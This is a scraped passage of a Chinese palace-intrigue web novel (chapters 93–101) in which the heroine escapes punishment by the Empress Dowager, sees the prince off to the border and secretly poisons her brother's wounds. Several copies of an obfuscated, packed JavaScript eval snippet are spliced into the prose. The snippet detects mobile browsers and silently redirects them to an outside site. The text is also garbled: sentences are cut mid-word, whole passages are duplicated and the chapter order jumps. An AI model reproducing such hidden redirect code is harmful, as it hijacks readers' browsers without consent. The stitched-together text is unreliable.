两个老嬷嬷你一言我一语,连提醒带警告。 秦时月正要说什么,老嬷嬷突然上前将她按在地上,御林军又在一旁虎视眈眈,压力十足。 准备行刑。 藏在暗处保护她的暗卫眼神一沉,几乎是下意识拔刀就要现身,在这关键时候,一道极具压迫性的男声突然响起。 “住手!” 众人循声望去,来人正是宋墨辰和侍书。 “拜见辰王殿下。”大太监立刻行礼,眉头忍不住皱到了一起。 这位杀神怎么来了? 宋墨辰没有理会大太监,只是神情意味不明的看着秦时月,然后淡定走过去,轻轻将人扶起。 “没事吧?” 若不是他恰好过来看她,她今日不知道要吃多大的亏。 秦时月摇摇头。 其实她并不怕,死过一次的人了,如今的场面再具压迫,也吓不到她。 她只是不喜欢被动挨板子,毕竟身子是自己的,她可不想在床上再养上几个月了。 大太监眼看宋墨辰并不把他们当回事,当即就黑了脸。 但碍于宋墨辰的身份,也只能面上带笑的提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15566136|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒,“王爷,今日明月县主做错了事,太后娘娘……” “皇祖母那边我自会去说,让开!”宋墨辰强压怒火,冷冷看着挡在他们面前的人。 今日他要带时月离开,但凡有一个人敢拦,他会让他们知道下场! 大太监被宋墨辰浑身的煞气吓到,踉跄着退后半步,不自觉的让到了一旁。 两个嬷嬷多年来跟在太后身边,知道宋墨辰的脾气,当即往后退了几步,不敢抬头。 御林军就不同了。 他们直属皇帝管辖,如今奉的是太后的命令,虽然敬重宋墨辰,但没一个让步的。 大太监心里得意,面上却更恭顺。 眼看双方僵持不下,秦时月拉了拉宋墨辰的袖子,“王爷,交给我。” 说着,她嘴角带笑向前一步,对着大太监和御林军道,“今日之事,的确是一场误会。况且本县主身为女子,若是当众打下这二十大板,自此名誉便不用要了。” 眼看大太监的眼里又划过不屑,秦时月在心里冷笑,面上却始终谦逊。 “本县主的名誉不打紧,可本县主和辰王的婚事到底是陛下亲赐,打我……不就是在打辰王和陛下的脸吗?” 大太监和御林军闻言,眉头微皱。 他们皆听从太后的命令,即便明白秦时月的话是真的,也不敢违抗。 但打陛下的脸…… 秦时月看出他们的犹豫,继续道,“不如这样,本县主愿意跟随你们进宫,亲自与太后娘娘说清楚,若是到时她还要执意打这二十大板,再由嬷嬷动手也不迟,如何?” 原本她不想跟老虔婆过不去,毕竟是宋墨辰的祖母,可如今老虔婆为了赵景阳要打她,那就别怪她手下不留情了! 想到这,她不动声色的摸了摸袖袋。 还好她有随身带药的习惯,老虔婆,如今就让你试试我新研发的好东西! 大太监皱皱眉,心里虽然不悦,但碍于宋墨辰在,她说的也不是全无道理,便没再多说什么,故作恭敬的点头应下。 至于打不打,进了宫,便不是她能左右的了。 第93章 皇后及时赶到 秦时月微微一笑,转身对着宋墨辰福了福身,“多谢王爷,今日时月有事,怕是不能陪王爷……” 宋墨辰看着她,眼神复杂,“我跟你一起去。” 秦时月怔愣一下,正要阻止,他却先一步向外走去,那霸气的步子无不在告诉人,此时他已然动怒了。 说不感动是假的,但如今不是犟的时候…她只好跟上。 太后寝宫。 秦时月、宋墨辰在大太监的引导下进门,一进门就看到太后正脸色难看的坐在高位上,赵景阳正在她身边哭哭啼啼。 听到动静,太后的目光在他们二人身上扫过,最终停在秦时月身上,脸上顿时闪过一丝不悦。 “辰儿,你怎么她来了?”太后的声音带着几分质问。 宋墨辰上前一步,拱手行礼,“皇祖母,孙儿今日去找时月,恰逢此事,觉得其中必有误会,所以陪着时月来与皇祖母说明情况。” 秦时月也跟着行礼,“臣女秦时月,见过太后娘娘。” 太后没有理会她,但是看向宋墨辰的眼神却冷了下来,“误会?你看看景阳被她欺负成了什么样?这样也叫误会?” 自古以来便是尊卑有别,她一个县主也敢欺负到郡主头上,她这个做太后的自然不能坐视不理! 宋墨辰冷哼一声,站的笔直,“时月是什么样的性子,孙儿比任何人都要清楚,而赵景阳是什么性子,您应该比我清楚,难不成仅凭赵景阳的一面之词就降罪?” “放肆!”太后当即气到猛拍扶手。 宋墨辰简直太不像话了!竟然敢这样同自己说话! 她刚要降罪,门口突然传来太监的喊声,“给皇后娘娘请安。” 太后怔愣一下,脸色越发难看,而她身边的赵景阳却被吓的突然停止哭声,甚至还打了个哭嗝。 皇后在绘春的搀扶下缓缓走进来,目光在屋内扫了一圈,最终定在秦时月身上,眼里闪过一丝心疼。 “参见母后。”她收起心思,端庄请安。 太后冷哼一声,表情不悦,“皇后不愧是六宫之主,我这慈宁宫一点点动静都逃不过你的眼睛。” 她阴阳怪气,皇后全然当听不出来。 相反,她轻笑一下,说道,“母后误会本宫了,本宫只是关心时月,所以多留意了些,不想,今日时月被您请来了,所以才来看看。” 说着,不等太后说话,皇后转而看向秦时月,语气嗔怪,“你这孩子,是不是做了什么惹到了皇祖母?还不赶紧赔礼?” 皇后这番话就是明白的想大事化小小事化了了。 太后脸色阴沉,却也不得不顾及皇后的颜面。 深吸口气,赶在秦时月之前开口,“皇后,这是哀家与明月县主之间的事,你无需插手。” 她今天打定了,谁来说情都不行! “母后又说错了。”皇后不顾太后难看的脸色,上前一把拉起了秦时月,还拉着她的手轻轻拍了拍,似乎在用这种方式给她撑腰。 “时月不仅救过本宫,而且是本宫最为中意的儿媳,她若犯错,往大了说,有国家律法管着,往小了说,本宫这个做婆婆的,也是有权利管上一管的,倒是您……” 皇后转头看向太后,眼神淡然,却透着上位者的,不可撼动的威压,“私自用刑,传出去,就不怕落人口实吗?” “你!” “母后,您年纪大了,是到了颐养天年的时候了,小辈不懂事,本宫来处理就是了,何至于劳烦您?”说着,皇后又扫了绘春一眼。 绘春立刻领会到她的意思,上前给太后行了个礼,拉着秦时月就走。 她们前脚离开,皇后后脚就捏着宋墨辰的耳朵道,“你皇祖母要休息,你还不赶紧回去给我自省!” 宋墨辰心里想笑,给太后行个礼,转身离开了。 不得不说,还是他母后有办法。 太后被气的脸色铁青,眼神冷的像是要**。 可皇后却像看不到般,笑笑,福了福身子,“母后,您这边要是没什么事,本宫就先回去了,孩子们不让本宫省心,回去本宫得好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15566137|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好教训教训他们。” 说完,她抬眸看过去,在看向赵景阳的时候,眼底透出骇人的寒意,是警告。 凤仪宫。 绘春带秦时月回来后,立刻命人给秦时月倒茶。 “县主可还好?” “我没事,多谢绘春姑姑。”秦时月不是不识好歹的人,虽然她自己能解决太后的刁难,但如今不费一兵一卒就解决了,对她来说,最好不过。 只是…… “姑姑,今日娘娘为救我怕是已经得罪了太后,她日后若是追究起来,怕是会对娘娘不利。” “你这孩子,还有功夫担心我?”绘春还没说话,皇后的声音突然从门口响起。 秦时月扭头一看,就见皇后和宋墨辰前后脚进来。 她连忙起身行礼。 皇后笑笑,免了她的礼数,“你这孩子,若不是凤仪宫耳目众多,今日你可要受大罪了。” 她知道秦时月是个有本事的,可今日找事的是太后,不论是谁,都别想全须全尾的从慈宁宫离开。 “臣女不怕。”秦时月笑笑,调皮的眨眨眼。 但她眼眶泛红,显然被皇后的举动暖到了。 前世、今生,她能依仗的一直都只有自己,可她没想到,皇后、宋墨辰和长公主,给了她比亲情更宝贵的东西。 “知道你会医术,不会留疤,可板子打在身上还是会痛,总之,以后你切莫再惹太后不快了。”皇后没多想,只是下意识叮嘱。 “时月记下了。” “不行不行,太后眼里容不得沙子,如今她对你有了意见,一定不会轻易放过你。”皇后眉头微拧,下意识喊了一声,“梁斌!” 藏在房梁上的梁斌瞬间现身。 “从今往后,你负责在暗中保护时月,时月有任何意外,本宫拿你试问!” “不用……” “属下遵旨!”梁斌应下,再次消失。 秦时月本想将自己已经从宋墨辰手上借到了暗卫的事说出来,但皇后压根不给她机会。 第94章 宋墨辰又要离京 “什么不用,你听本宫的,梁斌身手不凡,是个以一敌十的好手,有他在暗处保护你,本宫也能放心些。”皇后拉着她的手,道。 秦时月看向宋墨辰,眼里带着一丝求助,但宋墨辰对着她笑着摇了摇头。 她拗不过皇后,只好谢恩。 宋墨辰之所以不帮她,是因为他心里清楚,他的母后,此举不仅是为了保护她,更是为了向外界传递一个信号——秦时月,是她皇后的人。 有了这种明目张胆的撑腰,那些想要找她麻烦的人,总要好好掂量掂量。 秦时月很快也想到了这点,看向皇后的眼神里瞬间多了几分感激。 皇后拉着她坐下,然后拍了拍她的手背,道,“时月啊,你是个聪明的孩子,今日在街上的事我也听说了,你处理得很好。不过,往后再发生这样的事,你千万不要一个人担着,该立刻派人来找我才是。” 秦时月一阵感动,郑重地点点头,“臣女明白,谢娘娘厚爱。” 一旁的宋墨辰看着两人亲密的样子,眼里闪过一丝醋意。 他轻咳一声,道,“母后,时月今日受了惊吓,不如我先送她出宫,让她回去休息休息。” 皇后闻言,看向秦时月的眼神又柔和了几分,“也好,时月,你先回去,改日你不忙了再进宫陪我说话。” 秦时月点点头,跟着宋墨辰行礼告退,离开。 走出凤仪宫,秦时月深吸一口新鲜空气,只觉得身心舒畅,还有一点点小遗憾。 没能在太后身上试试她新研制的东西,有一点点可惜。 “在想什么?”路上,宋墨辰主动挑起话题。 “没什么,对了,你今日怎么会来找我?” “近期边境总有人挑起事端,父皇命我准备一下,尽早回边关驻守。”宋墨辰掀开车帘看向车水马龙的街道,语气平静。 他不想回去了。 这里有他想娶的姑娘,有他想保护的人… 秦时月皱皱眉,不自觉回想上一世的这个时间点。 当时宋墨辰遭宋砚辞算计,抗灾后回来,皇帝明升暗贬,直接收了他的虎符。 这一世,他在自己的提醒下不仅成功躲过了宋砚辞的算计,还收获了大量的民心,可皇帝竟然要他离京? “在想什么?” 长久听不到秦时月的回应,宋墨辰放下帘子,忍不住问到。 秦时月回过神,看向宋墨辰道,“我只是在想,你此去边关,不知何时才能回来。” 宋墨辰心中高兴,忍不住逗她,“放心,我会尽快处理完边关的事,回来娶你。” “谁,谁说要嫁给你了。”秦时月被逗的脸上一红,忍不住低下了头。 知道她害羞,宋墨辰笑笑没再逗她,但是心却像是被什么填满了。 接下来一路无话,马车一路向前,很快就到了长乐侯府门外。 宋墨辰先下车,看着秦时月,他似乎有些不甘心,“我这几日就要离京了,你……可有什么想对我说的?” 她却抬眸看着他,郑重的说道,“宋墨辰,照顾好自己。” 他们如今的关系虽说亲密,但也有些尴尬,很多话,她不能随心所欲的说出来。 思考再三,只能说了这样一句不会出错的话。 宋墨辰眸光微闪,最终化成了嘴边的一抹浅笑,“好,为了你,我会照顾好自己。” 他驻守边关多年,边关的事情说起来并不复杂,只是路途遥远,此行,怕是要耽搁上几个月。 秦时月想了想,问到,“你什么时候启程?到时候我去送你。” “还没确定时间,不过,就在这几日。”皇帝没有下旨,他还可以缓两天。 “好,我知道了,那,我先进去了。” 秦时月说完,小荷立刻给宋墨辰行了个礼,然后伸手扶人下车。 宋墨辰看着秦时月主仆进门后才离开,所以他没看到,秦时月停在原地转身的画面。 “小姐,侯爷让您回府就去见他,奴婢觉得,侯爷的脸色不太好看。” 小荷小声在她耳边提醒。 秦时月挑挑眉。 除了固定家宴,她这个父亲已经许久没理过她了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15566138|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今日找她,不知又是为了什么。 “走吧,去看看。” 主仆二人还没进花厅,就听到里边传来了一道哭哭啼啼的女声。 “侯爷,您要为我们娘儿俩做主啊~远儿不过是在人前提醒了一嘴,就被大公子当众一顿教训,到现在远儿还昏迷着……” 芳姨娘柔弱无骨的靠在长乐侯身上,哭的梨花带雨。 原本她不急,她处处捧杀秦怀瑾,为的就是想将秦怀瑾培养成一个彻头彻尾的纨绔,让长乐侯对他彻底失望。 到那时,各方面都优秀的秦明远便能入了长乐侯的眼,一旦她坐上侯府主母的位子,她稍微运作一番,这爵位就是秦明远的。 可她没想到秦怀瑾这样猖狂,竟然当众暴打她的儿子。 他做的这样绝,她这个做母亲的怎么忍得下去? 她立刻就找到了长乐侯,一番哭诉。 长乐侯被气的不轻。 这段时间秦怀瑾的表现让他失望不已,可他从来没有动摇过让他接管侯府的事,毕竟,他打小被培养,为的就是将来接管秦家。 只是现在…… 他一边哄芳姨娘,一边在心里盘算着重新考虑**人的事。 “小姐?” “走吧。”秦时月在心里冷哼一声,说道。 刚刚听了几句,她心里大概有了数。 原来是她那个好兄长又犯错了。 啧啧,她还没想好怎么对付他,没想到他自己一次次犯错,真是蠢笨如猪。 秦时月带着小荷走进花厅,芳姨娘的哭诉声逐渐低了下来。 芳姨娘看着秦时月,眼里闪过一丝担忧。 她如今这般做,会不会打乱大小姐的计划?她若是一个不高兴,那自己的谋划…… 一想到这,芳姨娘的脸上就多了一丝紧张。 可秦时月根本没看她,而是朝着长乐侯盈盈一拜,“父亲。” “你还知道回来!”长乐侯板着脸,声音凌厉,“你一个未出阁的女儿家,日日往外跑,听人说你还学着做生意了,你可真是出息了!” 第97章 好心的秦时月 “侯爷,大少爷知道错了,您就饶了他这次吧。” 长乐侯冷哼一声,“知错?他差点害芳娘流产,现在还敢在这里议论父亲,我看他是大大的不知错!如今若是不加以管制,将来惹出麻烦,岂不是要害整个侯府不安生?” 见他是铁了心要打自己,秦怀瑾苦笑一下,眼底再也没了对父亲的敬畏,“长安,不必求他,他要打便打吧。” 不过造成这一切的,都是秦时月和芳姨娘那两个**,等他休养好,他要弄死她们,拿回属于他的一切! 长安不忍心,还想求情,长乐侯一抬手,立刻有两个下人将他压在了地上。 “你是个衷心的,所以怀瑾有话都跟你说,想来,你也为他瞒了不少事。”长乐侯阴沉着脸,眸低翻涌着一丝嗜血的兴奋,“来人,剁下长安一只手指头,丢去喂狗。” “不,不要!”长安怎么都没想到长乐侯会有如此凶残的一面,当即被吓的尿了裤子。 秦怀瑾被吓的几乎失声,想开口求饶,却一个声音也发不出来。 揽月园。 梁斌凭空出现,单膝跪地,“小姐,长乐侯去了大少爷的院子,他发了好大的怒,不仅动用了家法,还命人剁了长安的一只手指头。” 秦时月坐在桌边悠闲的喝茶,听到这,眸光带笑。 动家法了呀?真好。 秦家的家法是一条粗如小儿手臂粗的皮鞭,皮鞭上带着特制的倒钩,抽打在身上皮开肉绽,深可见骨。 最重要的的,被鞭打的地方,伤口久久不愈,即使不碰到也是钻心的疼。 上一世,秦时月几乎日日都要挨上两鞭子,赶在秦可云心情不好的时候,她还会挨的更多…… 想到这些,她只觉得心里更舒畅了。 不过,这些还不够。 如今秦怀瑾遭遇的,不过是上一世她遭遇的冰山一隅! 秦时月情绪波动较大,手上不自觉用力,杯子应声碎成了渣渣。 小荷被吓了一跳,连忙上前查看,“小姐,您没事吧?” 秦时月笑笑,任由小荷查看,“无事。梁斌,兄长受了伤,若是再挨上几鞭子,接下来的半个月怕是都下不了床,这样,你晚些时候带点药过去,为他上一下,切记,不要让他知道。” 她这个做妹妹的如此贴心,只希望她的好兄长能慢慢“康复”。 梁斌打了个哆嗦,忙垂头应下。 自从上次他亲眼看到那些黑衣人化成一滩血水,他就知道这位秦大小姐不是个简单的。 如今她命他送药,却让他亲自为秦怀瑾上药,还不准秦怀瑾知道……想也知道这药不是什么好东西。 不知为何,这一刻,**不眨眼的梁斌竟有些同情秦怀瑾。 几日后,秦怀瑾身上的伤在梁斌的日日关照下,不仅没有好转,反而越发严重。 伤口处溃烂流脓,散发着一股难闻的气味,隔着老远就能闻到。 他整日疼的在床上翻来覆去,却又不知是怎么回事,只以为是家法打得太重,大夫的医术不行。 而长安自从没了一根手指,性情大变,虽然在秦怀瑾面前还像以前那样,可一旦离开秦怀瑾的视线,他就一脸凶残,对家里的下人更是刻薄无理的厉害。 再加上芳姨娘的从中运作,如今整个侯府愿意搭理他们主仆的,少之又少。 梁斌除了保护秦时月的安全,就是整日将秦怀瑾的情况汇报给她,得知他过的不好,秦时月就安心了。 不过,这还远远不够,秦怀瑾上辈子对她做的那些事,她要一点点讨回来,加倍奉还! 这一日,秦怀瑾终于受不了折磨,让长安去请了刘太医,得知消息的秦时月并不急,因为她有信心,她的药,刘太医那种庸医根本查不出来。 “小姐,这是这几日的账本。”小荷将账本放到秦时月面前,然后退了出去。 秦时月缓缓翻动账本,将每一笔账都仔细核对,确认没问题后才收起来。 这些日子生意不错,过些日子就是东方苑提过的什么促销的节日,可本朝没有先例,她有些犹豫,该不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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下一秒,她的红唇被人捂住,直接被拉进了旁边的包厢,进入包厢后,那人才松开她。 第98章 宋墨辰的安排 “抱歉,我不是有意的,我担心你一出声,会引起宋砚辞的注意。” 秦时月小脸通红的看着宋墨辰,最终却没有说什么。 刚刚那个情况,若是换了她,她恐怕也会那么做。 不过,这也从侧面印证了一点,宋墨辰,知道宋砚辞就在隔壁,且已经在注意他的动向了。 “你心里有数就好,对了,你突然找我来,是这两天就要启程吗?” 担心隔壁听到她的声音,秦时月刻意放低了音量。 “嗯,这几日处理完了手头的事,也没什么好再拖下去的理由了,今日约你吃个饭,明日一早就出发。” 宋墨辰有些不舍,但并不担心她的安危。 她身边有自己的暗卫,还有梁斌,可以说,只要不是千军万马一起围剿,她都能安然无恙。 “边关凶险,你万事都要小心。”秦时月端起茶杯,敬道。 宋墨辰眸光微闪,也端起了茶杯,“京城也不见得多安全,你也多多小心。” 京城表面平静,实则暗流涌动,各方势力盘根错节。 她和自己的关系在明面上,若有人想对自己不利,从秦时月处下手,是最快的捷径…… 就在此时,掌柜的敲门而入,然后将一张纸交到了宋墨辰手上,“爷,隔壁那位已经离开了,这是我们截获到的内容,请您过目。” “嗯,去上菜吧。” “属下遵命。”掌柜的说完,恭敬退下。 秦时月愣了一下。 截获了,隔壁的内容? 是她想的那样吗? 见秦时月对纸上的内容露出了浓厚的兴趣,宋墨辰笑笑,主动将纸递了过去,“掌柜的发现宋砚辞一早会见了几个大臣,立刻派人监听,这上边,或许有你感兴趣的东西。” 秦时月没有迟疑,没有多想,直接接过低头看了起来。 纸上内容不多,但全是宋砚辞几人谈话时的重点,概括起来就是:边关的事是宋砚辞的人做的,为的就是调宋墨辰离京,方便他们动手。 看完纸上的内容,秦时月当即沉了脸,攥着纸张的小手不自觉收紧。 她知道宋砚辞阴狠,诡计多端,没想到他的城府这样深,一计不成,立刻又设一计,而这次,他要的不仅仅是毁掉宋墨辰的名声,他竟然想要宋墨辰的命! “无妨,我早就知道边关的事有异。”宋墨辰很享受她担心自己的神情,嘴角微勾,他仰头喝了一口茶水,“这几日我逗留在京中,有一部分,也是为了布置。” 先前他在江南计划失踪时已经布置了一部分,如今延期离京,是为了完善布置。 现在一切准备妥当,秦时月身边又有诸多暗卫保护,他可以放心的离开一段时间了。 听到他的话,秦时月皱皱眉。 她想知道他做了哪些准备,可也清楚,这些事不该问。 正犹豫间,房门被敲响,是小荷。 她进门将一个精美的琉璃瓶交到了秦时月手上,秦时月转手递到了宋墨辰面前。 “这是我研制的解毒丸,一般的毒素都能解,便是哪些见血封喉的,提前服用或尽快服用,也能保命。你带在身边,以防万一。” “战场上刀剑无眼,不光要防备明面上的危险,更要小心那些隐藏在暗处的算计,切不可大意。” 宋墨辰感受着琉璃瓶的温度,心里一阵感动。 他强忍着想抱住秦时月的冲动看着她,眼神坚定,“你放心,我定会平安归来。” 说着,他让侍书叫来了掌柜的,当众命令道:“我不在京中,一切听从秦大小姐的命令。” 掌柜的心中一惊,随后恭敬应下,“是,爷放心,属下定当听从秦大小姐吩咐。” 如今的天香楼并不是一家单纯的酒楼,暗中还负责收集情报,所以掌柜的才会觉得震惊,不过,他也知道秦时月和自家王爷的关系,所以短暂的错愕后,立刻应下。 秦时月微微颔首,知道这是宋墨辰为她在京城多添的一份保障,没有推辞。 饭菜陆续上桌,两人却都没什么心思品尝,一顿饭吃得有些沉闷。 直到吃完,两人也没再提及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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长乐侯冷哼一声,“知错?他差点害芳娘流产,现在还敢在这里议论父亲,我看他是大大的不知错!如今若是不加以管制,将来惹出麻烦,岂不是要害整个侯府不安生?” 见他是铁了心要打自己,秦怀瑾苦笑一下,眼底再也没了对父亲的敬畏,“长安,不必求他,他要打便打吧。” 不过造成这一切的,都是秦时月和芳姨娘那两个**,等他休养好,他要弄死她们,拿回属于他的一切! 长安不忍心,还想求情,长乐侯一抬手,立刻有两个下人将他压在了地上。 “你是个衷心的,所以怀瑾有话都跟你说,想来,你也为他瞒了不少事。”长乐侯阴沉着脸,眸低翻涌着一丝嗜血的兴奋,“来人,剁下长安一只手指头,丢去喂狗。” “不,不要!”长安怎么都没想到长乐侯会有如此凶残的一面,当即被吓的尿了裤子。 秦怀瑾被吓的几乎失声,想开口求饶,却一个声音也发不出来。 揽月园。 梁斌凭空出现,单膝跪地,“小姐,长乐侯去了大少爷的院子,他发了好大的怒,不仅动用了家法,还命人剁了长安的一只手指头。” 秦时月坐在桌边悠闲的喝茶,听到这,眸光带笑。 动家法了呀?真好。 秦家的家法是一条粗如小儿手臂粗的皮鞭,皮鞭上带着特制的倒钩,抽打在身上皮开肉绽,深可见骨。 最重要的的,被鞭打的地方,伤口久久不愈,即使不碰到也是钻心的疼。 上一世,秦时月几乎日日都要挨上两鞭子,赶在秦可云心情不好的时候,她还会挨的更多…… 想到这些,她只觉得心里更舒畅了。 不过,这些还不够。 如今秦怀瑾遭遇的,不过是上一世她遭遇的冰山一隅! 秦时月情绪波动较大,手上不自觉用力,杯子应声碎成了渣渣。 小荷被吓了一跳,连忙上前查看,“小姐,您没事吧?” 秦时月笑笑,任由小荷查看,“无事。梁斌,兄长受了伤,若是再挨上几鞭子,接下来的半个月怕是都下不了床,这样,你晚些时候带点药过去,为他上一下,切记,不要让他知道。” 她这个做妹妹的如此贴心,只希望她的好兄长能慢慢“康复”。 梁斌打了个哆嗦,忙垂头应下。 自从上次他亲眼看到那些黑衣人化成一滩血水,他就知道这位秦大小姐不是个简单的。 如今她命他送药,却让他亲自为秦怀瑾上药,还不准秦怀瑾知道……想也知道这药不是什么好东西。 不知为何,这一刻,**不眨眼的梁斌竟有些同情秦怀瑾。 几日后,秦怀瑾身上的伤在梁斌的日日关照下,不仅没有好转,反而越发严重。 伤口处溃烂流脓,散发着一股难闻的气味,隔着老远就能闻到。 他整日疼的在床上翻来覆去,却又不知是怎么回事,只以为是家法打得太重,大夫的医术不行。 而长安自从没了一根手指,性情大变,虽然在秦怀瑾面前还像以前那样,可一旦离开秦怀瑾的视线,他就一脸凶残,对家里的下人更是刻薄无理的厉害。 再加上芳姨娘的从中运作,如今整个侯府愿意搭理他们主仆的,少之又少。 梁斌除了保护秦时月的安全,就是整日将秦怀瑾的情况汇报给她,得知他过的不好,秦时月就安心了。 不过,这还远远不够,秦怀瑾上辈子对她做的那些事,她要一点点讨回来,加倍奉还! 这一日,秦怀瑾终于受不了折磨,让长安去请了刘太医,得知消息的秦时月并不急,因为她有信心,她的药,刘太医那种庸医根本查不出来。 “小姐,这是这几日的账本。”小荷将账本放到秦时月面前,然后退了出去。 秦时月缓缓翻动账本,将每一笔账都仔细核对,确认没问题后才收起来。 这些日子生意不错,过些日子就是东方苑提过的什么促销的节日,可本朝没有先例,她有些犹豫,该不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15566141|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 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如今的天香楼并不是一家单纯的酒楼,暗中还负责收集情报,所以掌柜的才会觉得震惊,不过,他也知道秦时月和自家王爷的关系,所以短暂的错愕后,立刻应下。 秦时月微微颔首,知道这是宋墨辰为她在京城多添的一份保障,没有推辞。 饭菜陆续上桌,两人却都没什么心思品尝,一顿饭吃得有些沉闷。 直到吃完,两人也没再提及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15566142|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边关的事。 饭后,宋墨辰送秦时月回府,一路上,两人沉默不语。 到了侯府门口,她才停下脚步看向他,“此去万事小心,我在京城会好好的,你不用惦记。” 宋墨辰看着她,千言万语只化成一句,“等我回来。” 话落,他转身上马离开。 秦时月看着他的背影消失在街角,立刻转身走进府。 回到揽月园,她让小荷在门外守着,然后唤来影风,问到,“你和影夜跟在我身边,王爷身边还有几个暗卫保护?” 影风愣了一下,迟疑着开口,“回大小姐,王爷身边,已无暗卫。” 秦时月眉头一拧,下意识道,“不可能,他身为辰王,怎么可能只有你们两个暗卫?” “大小姐还记得那枚令牌吗?” 此言一出,秦时月心里咯噔一下,似乎是想到了什么,脸色微变。 “辰王府共有暗卫十八名,我和影夜身手最高,地位排在最前,我们均听令牌调令,在您接住令牌的那一刻,您便成了我们的主子。” 短短一句话,震惊秦时月多次。 她从未想过那枚令牌会如此重要,更没想到宋墨辰竟然会将如此重要的令牌轻易给她。 深吸口气攥紧拳头,她声音颤抖,“若令牌落入贼人之手……” “我们十八人,要么死,要么听令行事。” 他们不是没有选择,但唯一的选择,就是自裁。 秦时月心里有了数,不动声色的摸摸腰间的令牌,然后道,“王爷此行凶险,你带上九人暗中保护。” “可是……” “这是命令。”秦时月眸光深邃,“我这里并无凶险,有影夜和其他几位,再加上梁斌,足以保护我的安全。” 她本想让她带着全部人去保护宋墨辰的,但她有个更大胆的计划。 若计划成功,说不定等宋墨辰回来,她可以给宋墨辰一个天大的惊喜。 “是!” 在得知自家王爷要远赴边关的时候,影风就开始忧心忡忡。 第101章 秦可云回侯府 秦可云正对着镜子发呆。 短短半月,她整个人被磋磨的苍老了许多,如今,脸上已经看不出曾经的明媚。 她心里正乱,小喜冲进来,听到她的话,秦可云手里的梳子“啪嗒”一声掉在地上。 “你说什么?大哥出事了?到底是怎么回事?快说!” 如今她被磋磨成这样,还是定远侯夫人看在长乐侯府的面子上手下留情的结果,若长乐侯府唯一护着自己的人出事,那她的下场…… 秦可云不敢再想下去,脸色却白了许多。 小喜哆哆嗦嗦的将刚刚听来的消息说了一遍。 秦可云听完,脸色瞬间煞白如纸,身子晃了晃,眼前发黑。 她怎么也没想到,一向风光无限,被重点培养的大哥竟会落得如此下场。 不仅被长乐侯厌弃,还被打的皮开肉绽,无人问津。 震惊过后,秦可云攥紧了拳头,努力让自己冷静下来。 现在不是伤心难过的时候,她必须想办法救出秦怀瑾,只有他成功坐上世子之位,自己才有翻身的可能。 她咬了咬下唇,眼里闪过一丝决绝,“去准备马车,我要回侯府一趟!” 小喜皱皱眉,有些犹豫,“可是,您若是回侯府,一旦惊动了主母,只怕她又要想办法磋磨您了。” 小喜是陪嫁来的,虽然秦可云待她一般,但除了做个衷心护主的奴婢,她不知道该何去何从。 